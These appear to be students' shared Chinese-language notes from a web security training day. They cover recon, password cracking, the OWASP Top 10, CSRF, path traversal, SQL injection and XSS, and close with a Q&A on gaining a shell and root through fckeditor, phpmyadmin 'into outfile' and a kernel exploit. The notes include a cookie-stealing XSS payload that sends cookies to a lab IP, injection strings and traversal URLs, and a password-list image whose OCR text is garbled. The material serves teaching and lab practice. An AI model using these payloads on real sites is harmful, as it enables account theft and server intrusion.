# Day 6 - Web Security

- 網頁應用程式安全 翁浩正 (Allen Own)
  - **二** 葉泳志 *期待中。*
  - 」 我今天要先講一句話!
- A 今天不是打站課!!!!

## ₩ 資安概論

- 賽門鐵克:去年全球有5.5億筆個資外洩
- eBay遭黑客入侵1.4億用戶資料外洩
- AOL坦承系統遭入侵,駭客可能存取大量使用者帳號
- 美國零售商IT系統陷危機 除了Targrt多家零售商也遭殃
- Home Depot: 駭客入侵約造成5600萬筆金融卡資料外洩
- A 台灣有最新的攻擊手法!有最新的病毒樣本 XDD
- 風莫 最新的台灣之光
  - 」盛產天然資源 惡意程式
  - RL 臺灣學術網路曾有打美國國防部的紀錄
  - HP 駭客越強,防禦也要與時俱進
    - 」盛產天然資源 惡意程式
  - RL 正面攻擊,如果對方很弱 測面攻擊,可能性比較高

不安全的人比不安全的系統更可怕

- 被入侵不是因為沒有買XXX設備
- 舊時代的產物,所以密碼無法超過八碼(DES加密)
- 若是看見無法超過八碼,可以預見系統為舊版,要用舊的exploit
- □ 秋馨羅 學校行政單位都還用winXP說O O
- 王 沒有不安全的系統,只有不安全的人
- HP The Strongest Password In The World: 123456
- 王 穩定的 exploit : 不會讓系統or程式當掉,不會讓使用者起疑

HP

		3	<i>J</i>					
)	123456 CHARLIE HELLO	FENDER GOLF	DONALD	MUFFIN	GIANTS		CALVIN I.	_
	PASSWORD SUPERMAN SCOOTER	HIVIHOIUY BONDOO		REDSOX	BOOTY	JAGVAR	SHAVED	5
	HASHOLE PLEASE	DEUMINE REDD	BRONCO	STAR	BLONDE	GREAT	SURFER	3
	DARCINE F	FERRARI TIGER	PENIS	TESTING		COOL	SAMSON	$\boldsymbol{\mathcal{S}}$
	Taby Chitag	CHICKEN DOCTOR	VOYAGER	SHANNON	GOLDEN	COOPER	KELLY .	_
	JESSICA CHEISEA	MAVERICK GATEW	AY RANGERS	MURPHY	0000	1313	PAUL	$\sim$
	14343 BUILES DIVICE	CHICAGO GATORS	BIRDIE	FRANK	FIRE	SCORPIO	MINE	>
	akugur IIII DIA MODD	DIALLO ANGE		HANNAH	SANDRA	MOUNTAIN	KING .	R
		SEXZEX JUNIO	R WHITE	DAVE	LOOKIE	MADISON	RACING	3
		HARDCORE THX113			LHCLEVS	987654	5555	Ý
	MUSTANA DANIEL CAMERON	666666 PARNIA	BIGTITS	EAGLE 1	Film 21 cum	BRAZIL	EAGLE	
	11 . 000107 654321	WILLE BUDDO		11111 MOTHER	DOLPHINS	I DUREN	HENTAI .	7
	COMPUTER	CHRIS DEBBIE		NATHAN	00000	JAPAN I	NEWYORK	H
	HAMMER AMHIUM	PANTHER SPIDE		RAIDERS	CHEVY	NAKED	LITTLE	S
	MOSTER YANKEES WIZARD	YAMAHA MELIC			MINSTON		REDWINGS	2
	WICHAEL JOSHUA XXXXXXXX	JUSTILL DOOC	annell		MARRIOR	STARS S	miTH	100
	THE PROPERTY	1010	LAKERS		SAMMY	APPLE S	TICKY	18
	2 HHDOM PHOTO WICKEY	DRIVER 1212 MARINE FLYER		ANGELA IPER	SLUT		cocacola	2
	MONKEY EILER BAILEY	Angels FISH	SLAYER	00185	8675309		animal	18
	ABC123 _ HSHLEY Knight Fis	HING PORTU	SCOTT	JAKE	ZXCAPNW	Dal-	BRONCOS	17
		AVID MOTR	x 2222	LOVERS	NIPPLES POWER	PEACHES P	PRIVATE	TAKEN
	FUCK ME COMBOY PURPLE HAVE	OTERS TEEN		SUCKIT	VICTORIA	JASMINE S	SKIPPY	2
	6969 SILVER ANDREA WILL	LSON SCOOP	Y VIDEO		ASDEGH	KEALIA "	MARVIN	FROM
		UTTHEAD JASOI	LONDON		. VAGINA	, INHII	BLONDES	13
	HARLEY FUCKER DAKOTA DE	ENNIS WALTE	R_ 7777	WHATEVE	R TOYOTA	QWERTYUI	ENJ0Y	PERFECT PASSWORD SELECTION, PROTECTION,
	PANICED ORANGE PLAYER FU	UCKING CUMS	1111	RO YOUNG		DANIELLE	GIRL	33
		APTHIN BACT		NICHOL	AS TRAVIS	BEAVER	APOLLO	7
	MICHELLE STARWARS DI	Igaick RRAVI			מטטוטח	4321	PARKER	PAS
	JEIDIOTIET ( ORVETTE DOOMER CI	Mealer ADVIN	11.11	HELPM	NE INVIO	4128_	9 WERT	SE
	HUNTER BIGDOG EDWARD	mokey LOVE	CONTER	JACKI	NOCK	RUNNER	TIME	980
	FUCK CHEESE CHARLES X	WILEL	JASPER	Monici	E XXXX BEXTREME	SMIMMING		33
	2000 MATTHEW GIRLS S	Steven BARI	TOURSTE	R minnie	ILKEDZKINZ	00-1		LEC.
		iking Vici	TERES!	1	EROTIC	0.1.4	Women	긓.
	PATRICK COPILE	nanav 100	NEK IFPEN	IN COLLEGE	DIRTY	CUSLEK	AooDoo	2
	DHILLIUM MAKING BI	INE, LVIIA	0522 1111111	ושווש	FORD	DIPUTS	MAGINUM	Ro
	THORNE THE POINT DECITAL EN		DIL DIL			TiH2	JUICE	33.
	Ticcon GIIVGER rabbit WI	INNER 5150	BILL	BRIAN	FREDDY	SATURN	ABGRTYU 777777	7,0
	STORE BLOWJOB PEAUNT SH	AMANTHA DOG		AL MARK	ARSENA		DOCDMC	
	KUBER I NICOLE JOHN HO	OUSE ZZZ	ZZZ PETER	SIHRIKE	K ACCESS I	4 APPLES	T MAXWELL MISIC	Pu
	Less 2 LAKK & Jallions 1	TILLER CUR		- 21-NNH	MOLF	AUGUS	Masic	HE
	LOVE VELLOW GANDOLF F	LUWER	0 331		RIVIPPLE	3333	RIISHZIIZ	5
	busier CAMARO SPHINKY	311-1		226363	ILOVEYOU	CANADA	RUSSIA	CAT
	1234567 CECRET WINTER	1. M	BBA BEER	4444	DIEV	BLAZER	CCanaina!	S
	SOCCER DICK BRANDY	BUTTER 211		T BEAVE	S ALEX	CUMMING	Onn toon	88
	HOCKEY FALCON COMPAGE T		ED Them	an Bigcock	FLORIDA	HUNTIN	TESTER	AUTHERNTICATION BY MARKBURNETT
	VILLER TAYLOR CARLOS		INSON OLIVE		ERIC	Kitty	W MISTRES	2 2
	CEORGE IIIIII IEIUIVIS -	경우나 : B 10 10 10 10 10 10 10 10 10 10 10 10 10	XXX PRINC	E COPHIE	LEGEND	KHIIngo	PH AINTO	M &
			ITS BEACH	Lanico	IVIOVIE	112233	BILLY	8
	SEXY 123123 MIKE Z	xcapa w	EMBER AMATE	UR NIGHE	LAZACCEZZ	ARTHU	ALBERT	=
	ANDREW BITCH BRANDON TO	OMCAT B	00BS 7777	77/ (4000)	1 /	CREAM	6666	-
						-		

https://iamloud.files.wordpress.com/2010/04/500-worst-passwords1.jpg 爛密碼:

- 長度太短(容易被暴力破解)
- 太單純(只有英文或數字,沒有區分大小寫也沒有特殊符號)
- 太多都是常見的字串(字典攻擊) 陳
- 已知訊息,如使用者生日

# HP 好密碼的長度至少要超過15個字元

Windows 以前的加密 LMHASH 是一種糟糕的加密法,只能 14 個字元,前七碼加 密,後七碼加密,拼凑在一起(密碼複雜度降低),NTLM 才改善,所以密碼長

度15個字以上就不會儲存為LM

- RL (亦可透過policy停用LM HASH)
- HP 這是一場與入侵者的戰爭,不要當個M
- ェ 你該怎麼做防守一個城池?
- 陳 防守的選擇
  - 。 蓋城牆就對了,蓋得越高越好
- HP 。我用投石車,你還在用城牆
- 陳 。 兩邊的科技不對等,是沒有意義的(?用機器人打城堡
- HP 。 一 定是牆不夠堅固!再加強!

軍師:一定是牆不夠高(Firewall 不夠,你有考慮買 IPS 嗎) 防禦者不懂駭客用的是怎麼樣的科技

- 王 正確的防禦者思維?
  - 不能一昧著防禦,攻擊者的技術往往凌駕於防禦者
  - 瞭解了解駭客思維,針對思慮進行防禦
- HP 定期做安全檢測、演練,瞭解自己的弱點

## 王 駭客的思維跟我們不一樣

- RL 大駭客只看網址就可以知道漏洞
  - 讓人想要嘗試的點
    - SQL injection
- x Command injection
- RL o Path travel
  - 。 robots.txt 告訴搜尋引擎不要索引的網址(聽起來很誘人?
  - ☐ HSIEH P https://www.facebook.com/robots.txt
- RL 。 忘記密碼(得到明碼就代表網站不安全
  - 。 看見403 就代表東西存在,有貓膩;404則無搞頭
  - 在那邊演講就試那邊的站
- user friendly XDDDDDD(hacker friendly!!)
  - □ 王茂林 http://www.ntust.edu.tw/robots.txt
- RL whois(查管理者資料,所屬其它網域

## ₩ 駭客攻擊流程

- Reconnaissance
- RL 。網站誰的、那種系統架設的
- BC 。 防禦: 盡量讓外洩的資訊少一點 (ex. 不要用個人mail, 用 mailing list)
- 陳 。 查此網站開了什麼服務、哪些漏洞可以利用
- BC 。 防禦: 不要被scan (裝一些 IDS 啥的)

- Gaining Access
- RL 。 譬如試用FTP看看版本是否有漏洞
- Maintaining Access
- RL · 紀錄探查資訊、留下後門
- Clearing Tracks
- 陳 。 消滅足跡
- BC 防禦: 盡量讓駭客覺得越麻煩越好(ex. 將 log 記錄起來之後傳到另外一台 server)

HP

## 真實攻擊案例

- 駭客經由網站找到上傳 、寫檔等弱點,植入 Webshell
- 王 。 連入主機後發現帳號權限不足,從主機內搜尋找可以用的資訊
- 陳 。 查詢系統可用資訊 / var / log
- 王 權限:
  - 。 發現主機 Kernel 版本過舊,有可提權的弱點
- 陳 · 撰寫 搜尋 Exploit 攻擊,取得 root 權限
- 王 放置後門
- HP o rc.d
- 王 消除足跡
- HP o ~/.histroy
  - ~/.bash\_history
  - A o var/log/\*
- 王 攻擊者的思維
  - 。 情報蒐集
- 黄 。 尋找,分析漏洞
- PS o 利用漏洞
  - 。 達成攻擊目標

王

#### 陳 whois

- 王 查詢管理者資訊
- 陳 E-mail(寄惡意信件、DNS
- RL 假如管理者的信件domain與網站同,代表網站可能有mail Service
  - 。 安全的作法,設定一個mail list取代帳號,避免資訊洩漏

王

- 陳 Reconnaissance 偵查
  - 找出目標的相關資訊,以供日後測試需求
  - Footprinting

- Whois
- Http://archive.org

#### **≖** NMAP

- -sS/sT : TCP SYN/Connect() scans
- 秋羅 -p <port ranges>: Only scan specified ports
  - -A: Enable OS detection, version, detection, script scanning, and traceroute

  - 陳 http://nmap.org
    - Open Source 的 Port Scanner,可進行掃描、網路探索、安全稽核等
  - 陳 Gaining Access 取得進入權
    - 透過掃瞄到的目標,進行攻擊取得進入權
  - Password Cracking
    - Brute-force Attack
    - Dictionary Attack
    - Hybrid Attack
  - RL Pre-computed Hashes(rainbow table 彩虹表)
  - Malware
    - Toosl: pwdump,

#### Lab

- 使用 Cain 破解本機密碼
- RL 破解 Hash(md5, sha1 是不安全的
- 7ac66c0f148de9519b8bd264312c4d64
- **±** Maintaining Access
  - 利用後門等方式
- 陳
  - •
  - •
  - 事前預防
- 王 。 渗透測試
- RL 只用工具是cost down的做法
  - 使用工具無法透過漏洞進行更深測的檢測
  - 使用工具無法客制化掃描網段(?
  - 無法大量測試

- 成本不低,人工測試有其價碼
- 誤報表示只用工具,不了解其結果
- 。 教育訓練(惡意郵件測試,
- 。應變計畫(ISMS, IS27001
- 王 事件發生
- HP 。 資安通報
  - 。 事件演練
  - 。 緊急應變
  - 事後調查
    - 。 事件處理
    - 。 數位鑑識
    - 。 復原重建

## 王 你心目中的滲透測試是什麼?

- 陳 使用「滲透測試工具」掃瞄。
  - 五天可以測試 200 個 IP!
- HP 應該兩萬塊可以做完吧?
  - 報告一定要有很多誤報
- 陳 使用自動化工具檢測
- 王 無法依據不同網路架構及情境分析
- HP 檢測人員名單
- 陳 資安顧問人工檢測
- RL 網站設定不安 全(比如說: INC副檔名未鎖、phpmyadmin未設密
- HP 透過公開的資源以及駭客知識庫...

#### 木桶理論(Find Minimum)

- RL 看到有洞就補?
  - 駭客會直接攻打最弱的那一點
- HP 提升整體水準而非加強特定部份

#### 秋羅 OWASP Top 10

(https://www.owasp.org/index.php/Category:OWASP\_Top\_Ten\_Project)

- The Ten Most Critical Web
  - A1 Injection ()
  - A2 Broken Authentication and Session Management ()
  - A3 Cross-Site Scripting (XSS) ()
  - A4 Insecure Direct Object References ()

- A5 Security Misconfiguration ()
- A6 Sensitive Data Exposure ()
- A7 Missing Function Level Access Control ()
- A8 Cross-Site Request Forgery (CSRF) (跨站匿名請求)臺灣相當嚴重
- A9 <u>Using Components with Known Vulnerabilities</u> (使用已知漏洞的元件)
- A10- Unvalidated Redirects and Forwards (使用未驗證的轉址)
- 陳 Insecure Communication(未加密的網路連線)
- × 網頁傳送敏感資料時並未使用SSL或其他加密方式
- 陳 •
- 陳 Man-In-The-Middle Attack (中間人攻擊)

Cain & Abel (今天不會用QQ

- RL Arp Spoofing (狹持getway測錄資料
  - 。 預防方式,使用加密連線(具第三方憑證者
  - □ 秋馨羅 可能會跟skype撞到port
- 陳 Insecure Communication
  - 使用第三方憑證
  - .
  - •

RL

Information Leakage and Improper Error Handling

- 網頁應用程式
- 。 錯誤訊息會透漏出使用的framework, 套件, path等訊息
  - 應該把錯誤訊息關閉
  - 把錯誤頁面替換
- 陳 Insuffucuent Transport Layer Protection
  - 盡可能使用加密連線 (HTTPS)
  - Cookie 使用 Secure Flag
  - •
  - •
  - •

RL Mozilla Firebox 推薦安裝的套件,或是安裝 OWASP Mantra

- → Cookies Manager+
  - https://addons.mozilla.org/zh-tw/firefox/addon/cookies-managerplus/developers
- 图 Tamper Data
- https://addons.mozilla.org/zh-tw/firefox/addon/tamper-data/?src=ss
- RL POST Data修改 或是 header修改
- → Live HTTP Headers ((封包擷取
  - https://addons.mozilla.org/zh-TW/firefox/addon/live-http-headers/?
     src=userprofile
- RL · 修改http header (例如神奇的reffer:127.0.0.1
- **HP** Web Developer
  - https:///zh-tw/firefox/addon/web-developer/?src=search
- RL Java Disable, cookie edit, 更改視窗大小
  - Hack Bar
- https://addons.mozilla.org/zh-tw/firefox/addon/hackbar/?src=ss
- RL · 輔助攻擊用, md5 sha1 base64 decode
  - BurpSuite
- https://portswigger.net/burp/downloadfree.html
- RL 好用工具

1passwd(記住各網站的密碼 adblock(擋廣告

- 图 Cookies Manager+ ((修改Cookie
- RL firebug(類似Web Dveloper
- 劉 No Script(跳過驗證功能
- ± Lab1
  - 1. 到一個有 HTTPS 的網站
  - 2. 使用 Cookes Manager 看有無 Secure Flag
  - 3. 把 Flag 取消
  - 4. 打開 Live HTTP Headers
  - 5. 強制使用 http 連線網站
  - 6. 看有無傳送 Cookie (應該不會傳)
- 劉 7. 取消 Secure Flag
  - 8. 再看一次會不會傳
- 陳 Unvalidated Redirects Day 6 Web Security and Forwards (Cont.)

「JYNYCHEN 有沒有人有同時開http & https 的範例網站QAQ

ROCKEY L 聊天室說plurk

ИССЛЕДО... XD

#### 

- www.metasploit.com
- github: https://github.com/rapid7/metasploit-framework

Cross-Site Request Forgery(CSRF攻擊)

- 黄 1. GET /csrf.htm (.受害者PC->惡意server)
- 陳 2. <img src="http://server/send.asp?to=XXX"> (惡意server->受害者PC)
- 黄 3. GET/ send.asp?to=XXX (受害者PC->CSRF server)
- 王 4. Your message was sent!! (CSRF server->受害者PC)
  - 確保網站沒有任何可以提供XSS攻擊弱點
- x 。 登入時,加上hash token(每次皆不同),登出、改密碼需有相同token才有辦法執行
  - <input type="hidden" name="login\_token" value="19cc227501c16fd00b34a574b658047c@nuahr2">
  - /logout?token=19cc227501c16fd00b34a574b658047c@nuahr2

□ 王茂林 *共筆不要吵架 XDDDDDDDDDDDD'* 

HSIEH P 中文字超會吵架 QQ

秋馨羅 很多企業網管會把公司所有server的密碼存在一個excel(好像拼所)檔中

ROCKEY L 再把excel加上密碼就好了阿 XDDD

AWEIMEOW 然後 excel 的密碼也存在另一個 excel 裡面

秋馨羅 確定不是放便條上?

HSIEH P 好像不管是 Chrome 還是 Safari 中文字都還是會衝突 QQ

ALICE C 標題怎麼了QQ

#### HP 下午

- RL 數種題目
  - o dvwa不太需要工具,瀏覽器可處理大部份
  - 。 allen大大有一個可以打的系統
  - 。 有一個VM,未知系統,目標拿root

HP o

- **EXECUTE** Failure to Restrict URL Acess
  - 網頁沒有權限控管
  - 修改管理介面、修改資料頁面
- RL o /admin /backup /logs /phpinfo.php /.~ /.bak
- 王 HTTP Service 限制 IP

- HP Security Misconfiguration
  - 密碼沒加密

•

- 陳 HTTP TRACE Method
  - HTTP Server 的設定未將不該開放的 method 關閉,如 TRACE / TRACK / PUT / DELETE 等。建議檢查後直接關閉。
- TRACE 最為常見,攻擊者可以利用 TRACE 來獲取設定 HTTP Only 屬性 Cookie, 進一步搭配 XSS 攻擊竊取使用者帳號。
  - P 403代表有該目錄但是沒有權限讀取,404代表沒有該目錄
- HP Insecure Direct Object References (IDOR) 不安全的直接存取物件
- 陳 攻擊者直接利用網頁應用程式本身的讀取功能,任意存取檔案或重要資料
- HP 例如:

RL

- http://example.com/news.php?lang=en
  - en 為語系檔案 可能寫法為import \$\_GET[lang] , 所以可以任意讀檔
- http://example.com/news.php?lang=../../../etc/passwd
  - http://example.com/news.php?lang=/etc/passwd
- BC windows路徑不分大小寫
- HP 想知道其他子網站可以看 /etc/apache2/apache2.conf
  - P 可以將php code灌進log,再去讀取檔案執行
- 王 防禦措施

Cross-Site Scripting

- RL 反射式,一次觸發,直接秀出
  - 儲存式,長久存在,瀏覽時觸發
- P filter input escape output
- o <script>
  document.write('<img src="http://10.75.3.51/cookie='+document.cookie+'">')
  </script>
- 陳 防禦手法
- PS 檢查輸入數值,使用白名單機制過濾,而不單只是黑名單

- 陳 XSS Prevention Rules
- 林 (https://www.owasp.org/index.php/XSS\_(Cross\_Site\_Scripting)\_Prevention\_Cheat\_Sheet#XSS\_Prevention\_Rules)
- 陳 Content Security Rules

CSP 類別

CSP 支援

CSP 1.0 作用 載入來源白名單 禁止 (cat!! XSS Worst Practice 1

取代字串 遇到 <script> or </script> 就取代成空字串

• 輸入 <sc<script>ript> --> 取代完剩下 <script>

СЛЕДО... 古代還有一個例子 把 script 濾掉

所以 <script> 會變成 <>

然後駭客就可以 <scrscriptipt> ===> <script> (done

- ∓ XSS Shell
  - BeEFc

**四**CЛЕДО... *沒有下文了!?* 

HSIEH P 因為機器掛了(? ROCKEY L 講師說機器被改IP

ИССЛЕДО... XD

可以改玩 http://demo.testfire.net/bank/login.aspx

IBM提供的網站

http://webgoat.github.io/ 也不錯玩

林 講師提供練習: 10.75.3.50

- J http:/xss-quiz.int21h.jp
- BC https://escape.alf.nu http://prompt.ml/0

### 陳 Injection (注入)

\$str = "SELECT \* FROM Users WHERE Username='" .\$user."' AND
Password='".\$Pass."'";

SELECT \* FROM Users WHERE Username=" OR 1=1 -- AND

Password='oxoxox'

SELECT \* FROM Users WHERE Username='admin' --' AND Password="

#### 攻擊流程

- E 找出未保護變數, 作為注入點
- 陳 猜測完整 SQL 語句並嘗試插入
- 王 猜測欄位數、資料表名稱、SQL版本等資訊
- 陳 搭配 UNION 等方式撈取資料庫資料

## SELECT ?,? FROM ? WHERE id(?)='3' UNION SELECT user(), version()#'

- BC 可用 order by [column] 來猜測欄位數量
  - E 之後再用UNION來撈資料

sql injection 好難學. 可以直接用穿山甲嗎!? (XD http://resources.infosecinstitute.com/best-free-and-open-source-sql-injection-tools/

#### JVM打法

- fckeditor
- 林 。 看到 userfiles/ 就有可能,可以嘗試這個方式
- - phpmyadmin
- 林 o into outfile '/var/www/xxx.php'
  - wordperss 2.0.2

#### ☑YNYCHEN 橘語錄:

Q:好奇@orange 8361 是走哪條路線啊?

A: fckeditor 最快,常 所以路徑有背下來

Q: fckeditor 在iis7.5 也可以用嗎?

A:看版本,2.6.4以下有機會

dialog/fck\_about.html 可以看版本

Q:想問一下再終端機那邊是怎麼提權成root的?

A: kernel exploit

Q: 所以phpmyadmin 是直接用內建功能上傳?

A: PHPMYADMIN, into outfile '/var/www/xxx.php'

mysql 有 root 有 FILE PRIV 皆可

但是 web root 權限有設

但你可以先寫到 userfiles

一樣可以解

Q: getshell 之後除了找 exploit 之外還有其他變成 root 的方法嗎 XD

A:看伺服器配置

Q:橘子是用哪一個 exploit Q\_Q

A: udev

不過要自己改 paylaod

因為他環境怪怪